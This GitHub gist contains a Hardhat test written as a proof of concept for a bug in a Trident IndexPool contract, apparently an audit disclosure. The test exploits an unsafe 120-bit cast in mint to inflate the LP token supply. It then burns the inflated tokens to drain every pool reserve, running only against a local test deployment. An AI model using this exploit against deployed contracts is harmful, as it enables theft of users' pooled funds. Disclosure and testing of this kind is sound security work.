Skip to content

Instantly share code, notes, and snippets.

@MrToph
Created September 23, 2021 12:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MrToph/0c8b6b5ffac0673b2f72412cf4b0b099 to your computer and use it in GitHub Desktop.
Save MrToph/0c8b6b5ffac0673b2f72412cf4b0b099 to your computer and use it in GitHub Desktop.
POC of IndexPool.mint bug. Just replace the existing IndexPool.test.ts file contents with this one and then run `yarn test -- test/IndexPool.test.ts`
//@ts-nocheck
import { BigNumber } from "@ethersproject/bignumber";
import { ethers } from "hardhat";
import { getBigNumber } from "./utilities";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/dist/src/signers";
import { Contract, ContractFactory } from "ethers";
import { expect } from "chai";
import { calcOutByIn } from "@sushiswap/sdk";
// ------------- PARAMETERS -------------
// alice's usdt/usdc balance
const aliceUSDTBalance: BigNumber = getBigNumber("100000000000000000");
const aliceUSDCBalance: BigNumber = getBigNumber("100000000000000000");
// what each ERC20 is deployed with
const ERCDeployAmount: BigNumber = getBigNumber("1000000000000000000");
// what gets minted for alice on the pool
const poolMintAmount: BigNumber = getBigNumber("1", 16);
// token weights passed into the pool
const tokenWeights: BigNumber[] = [getBigNumber("10"), getBigNumber("10")];
// pool swap fee
const poolSwapFee: number | BigNumber = getBigNumber("1", 13);
// ------------- -------------
function encodeSwapData(
tokenIn: string,
tokenOut: string,
recipient: string,
unwrapBento: boolean,
amountIn: BigNumber | number
): string {
return ethers.utils.defaultAbiCoder.encode(
["address", "address", "address", "bool", "uint256"],
[tokenIn, tokenOut, recipient, unwrapBento, amountIn]
);
}
describe("IndexPool test", function () {
let alice: SignerWithAddress,
feeTo: SignerWithAddress,
attacker: SignerWithAddress,
usdt: Contract,
usdc: Contract,
weth: Contract,
bento: Contract,
masterDeployer: Contract,
tridentPoolFactory: Contract,
router: Contract,
Pool: ContractFactory;
async function deployPool(): Promise<Contract> {
const ERC20 = await ethers.getContractFactory("ERC20Mock");
const Bento = await ethers.getContractFactory("BentoBoxV1");
const Deployer = await ethers.getContractFactory("MasterDeployer");
const PoolFactory = await ethers.getContractFactory("IndexPoolFactory");
const SwapRouter = await ethers.getContractFactory("TridentRouter");
Pool = await ethers.getContractFactory("IndexPool");
[alice, feeTo, attacker] = await ethers.getSigners();
// deploy erc20's
weth = await ERC20.deploy("WETH", "WETH", ERCDeployAmount);
await weth.deployed();
usdt = await ERC20.deploy("USDT", "USDT", ERCDeployAmount);
await usdt.deployed();
usdc = await ERC20.deploy("USDC", "USDC", ERCDeployAmount);
await usdc.deployed();
bento = await Bento.deploy(weth.address);
await bento.deployed();
masterDeployer = await Deployer.deploy(17, feeTo.address, bento.address);
await masterDeployer.deployed();
tridentPoolFactory = await PoolFactory.deploy(masterDeployer.address);
await tridentPoolFactory.deployed();
router = await SwapRouter.deploy(
bento.address,
masterDeployer.address,
weth.address
);
await router.deployed();
// Whitelist pool factory in master deployer
await masterDeployer.addToWhitelist(tridentPoolFactory.address);
// Whitelist Router on BentoBox
await bento.whitelistMasterContract(router.address, true);
// Approve BentoBox token deposits
await usdc.approve(bento.address, ERCDeployAmount);
await usdt.approve(bento.address, ERCDeployAmount);
// Make BentoBox token deposits
await bento.deposit(
usdc.address,
alice.address,
alice.address,
ERCDeployAmount,
0
);
await bento.deposit(
usdt.address,
alice.address,
alice.address,
ERCDeployAmount,
0
);
// Approve Router to spend 'alice' BentoBox tokens
await bento.setMasterContractApproval(
alice.address,
router.address,
true,
"0",
"0x0000000000000000000000000000000000000000000000000000000000000000",
"0x0000000000000000000000000000000000000000000000000000000000000000"
);
const tokens: string[] =
usdt.address.toUpperCase() < usdc.address.toUpperCase()
? [usdt.address, usdc.address]
: [usdc.address, usdt.address];
// address[], uint256[], uint256
const deployData = ethers.utils.defaultAbiCoder.encode(
["address[]", "uint256[]", "uint256"],
[tokens, tokenWeights, poolSwapFee]
);
let tx = await (
await masterDeployer.deployPool(tridentPoolFactory.address, deployData)
).wait();
const pool: Contract = await Pool.attach(tx.events[1].args.pool);
return pool;
}
it("pool mint does an unsafe cast leading to the pool being drained", async function () {
const pool: Contract = await deployPool();
interface PoolInfo {
type: string;
reserve0: BigNumber;
reserve1: BigNumber;
fee: number;
}
const poolInfo: PoolInfo = {
type: "Weighted",
reserve0: aliceUSDTBalance,
reserve1: aliceUSDCBalance,
fee: poolSwapFee,
};
// if reserve0, it requires amountIn = toMint / totalSupply * 1e18 = toMint / 100
// compute the exact amount such that there is nothiing lying around in the pool
const transferredToPoolAmount = poolMintAmount.div(100); // 1e16
await bento.transfer(
usdt.address,
alice.address,
pool.address,
transferredToPoolAmount
);
await bento.transfer(
usdc.address,
alice.address,
pool.address,
transferredToPoolAmount
);
await pool.mint(
ethers.utils.defaultAbiCoder.encode(
["address", "uint256"],
[alice.address, poolMintAmount]
)
);
let poolUSDTReserve = (await pool.records(usdt.address)).reserve; // 1e14
let poolUSDCReserve = (await pool.records(usdc.address)).reserve;
const preAttackLPSupply = (await pool.totalSupply());
expect(transferredToPoolAmount).eq(poolUSDTReserve);
expect(transferredToPoolAmount).eq(poolUSDCReserve);
// just so we know the initial total supply
console.log(`preAttackLPSupply = ${preAttackLPSupply.toString()}`)
// == ATTACK STARTS HERE ==
// 1. Fund attacker
await bento.transfer(
usdt.address,
alice.address,
attacker.address,
aliceUSDTBalance
);
await bento.transfer(
usdc.address,
alice.address,
attacker.address,
aliceUSDCBalance
);
// 2. compute liquidity amount that will get truncated by the unsafe typecast and mint it
// toMint = 2**120 * totalSupply / BASE
let toMint = BigNumber.from(`2`).pow(120).mul(preAttackLPSupply).div(
getBigNumber(`1`, 18)
);
// toMint leads to a ratio that now maps to 0 when truncated to 120. but it will fail at MIN_BALANCE check
// so add 1e16 to the ratio, i.e., 1/100 of the current reserve must only be provided. important is only that amountIn ends up >= MIN_BALANCE
toMint = toMint.add(getBigNumber(`1`, 16));
// provide 1/100th of reserve matching the ratio of 1e16/1e18
// (this can actually even be lower due to another bug with alice having to provide a ratio of 1e20 when reserves are zero, but it is not independent of this attack)
const amountIn = poolUSDTReserve.div(`100`);
await bento.connect(attacker).transfer(
usdt.address,
attacker.address,
pool.address,
amountIn
);
await bento.connect(attacker).transfer(
usdc.address,
attacker.address,
pool.address,
amountIn
);
await pool.connect(attacker).mint(
ethers.utils.defaultAbiCoder.encode(
["address", "uint256"],
[attacker.address, toMint]
)
);
const postAttackLPSupply = (await pool.totalSupply());
console.log(`postAttackLPSupply = ${postAttackLPSupply.toString()}`)
// 3. attacker has inflated the lp supply and can now burn everything getting all of the reserves
await pool.connect(attacker).transfer(
pool.address,
// that's the attacker's LP balance
postAttackLPSupply.sub(preAttackLPSupply)
);
await pool.connect(attacker).burn(
ethers.utils.defaultAbiCoder.encode(
// address recipient, bool unwrapBento, uint256 toBurn
["address", "bool", "uint256"],
[attacker.address, false, postAttackLPSupply.sub(preAttackLPSupply)]
)
);
let poolUSDTReserveNew = (await pool.records(usdt.address)).reserve;
let poolUSDCReserveNew = (await pool.records(usdc.address)).reserve;
console.log(`Pool lost ${poolUSDTReserveNew.sub(poolUSDTReserve).toString()} USDT`)
console.log(`Pool lost ${poolUSDCReserveNew.sub(poolUSDCReserve).toString()} USDC`)
// pool reserves after attack are actually completely 0, not a single wei left, haha
expect(poolUSDTReserveNew).eq(`0`);
expect(poolUSDCReserveNew).eq(`0`);
// attacker received all reserves
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment